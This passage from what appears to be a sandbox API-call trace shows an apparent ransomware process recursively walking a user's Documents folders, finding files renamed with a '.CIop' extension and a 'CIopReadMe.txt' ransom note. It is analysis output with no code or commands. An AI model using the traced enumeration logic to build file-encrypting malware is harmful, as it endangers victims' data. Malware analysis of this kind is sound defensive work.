Shapes" [0169.145] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.145] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.145] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.145] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.145] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.145] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.145] lstrcmpW (lpString1="_private", lpString2="..") returned 1 [0169.145] lstrcmpW (lpString1="_private", lpString2=".") returned 1 [0169.145] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0169.145] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0169.145] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0169.145] SetErrorMode (uMode=0x1) returned 0x1 [0169.145] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0169.145] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0169.145] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0169.145] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0169.145] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67db78 [0169.145] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0169.145] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0169.145] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.145] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.145] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.145] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.145] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.145] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.145] lstrcmpW (lpString1="folder.ico.CIop", lpString2="..") returned 1 [0169.145] lstrcmpW (lpString1="folder.ico.CIop", lpString2=".") returned 1 [0169.145] lstrlenW (lpString=".CIop") returned 5 [0169.145] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0169.145] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0169.145] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0169.145] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0169.145] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0169.145] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67db78 [0169.146] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0169.146] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0169.146] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.146] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.146] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.146] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.146] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0169.146] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0169.146] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0169.146] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.146] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0169.146] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0169.146] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.146] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0169.146] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0169.146] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0169.146] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0169.146] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0169.146] SetErrorMode (uMode=0x1) returned 0x1 [0169.146] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0169.146] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0169.146] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0169.146] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0169.146] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.147] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0169.147] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0169.147] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.147] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.147] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.147] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0169.147] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0169.147] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.147] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0169.147] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0169.147] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0169.147] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0169.147] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0169.147] SetErrorMode (uMode=0x1) returned 0x1 [0169.147] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0169.147] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0169.147] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0169.147] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0169.147] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0169.147] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0169.147] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0169.147] lstrlenW (lpString=".CIop") returned 5 [0169.147] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0169.147] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.147] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.147] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0169.147] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0169.147] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0169.147] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0169.147] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0169.147] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0169.147] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.147] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.147] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.147] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.147] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.147] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.147] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.147] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.148] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.148] lstrcmpW (lpString1="OneNote Notebooks", lpString2="..") returned 1 [0169.148] lstrcmpW (lpString1="OneNote Notebooks", lpString2=".") returned 1 [0169.148] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0169.148] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0169.148] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0169.148] SetErrorMode (uMode=0x1) returned 0x1 [0169.148] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0169.148] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0169.148] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0169.148] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0169.148] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dbf8 [0169.148] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0169.148] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0169.148] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.148] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.148] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.148] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0169.148] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0169.148] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0169.148] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0169.148] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0f8 [0169.148] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0169.148] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0169.148] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.148] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.148] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.148] lstrcmpW (lpString1="My Notebook", lpString2="..") returned 1 [0169.148] lstrcmpW (lpString1="My Notebook", lpString2=".") returned 1 [0169.148] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0169.148] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0169.149] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0169.149] SetErrorMode (uMode=0x1) returned 0x1 [0169.149] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0169.149] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0169.149] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0169.149] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0169.149] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dd78 [0169.149] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0169.149] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0169.149] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.149] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.149] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.149] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.149] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.149] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.149] lstrcmpW (lpString1="Open Notebook.onetoc2.CIop", lpString2="..") returned 1 [0169.149] lstrcmpW (lpString1="Open Notebook.onetoc2.CIop", lpString2=".") returned 1 [0169.149] lstrlenW (lpString=".CIop") returned 5 [0169.149] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.149] lstrcmpW (lpString1="Quick Notes.one.CIop", lpString2="..") returned 1 [0169.149] lstrcmpW (lpString1="Quick Notes.one.CIop", lpString2=".") returned 1 [0169.149] lstrlenW (lpString=".CIop") returned 5 [0169.149] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0169.149] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0169.149] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0169.149] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0169.149] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0169.149] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0169.149] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0169.149] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0169.150] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.150] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.150] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.150] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.150] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.150] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0169.150] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0169.150] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0169.150] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.150] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 1 [0169.150] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 0 [0169.150] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.150] lstrcmpW (lpString1="Outlook Files", lpString2="..") returned 1 [0169.150] lstrcmpW (lpString1="Outlook Files", lpString2=".") returned 1 [0169.150] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0169.150] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0169.150] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") 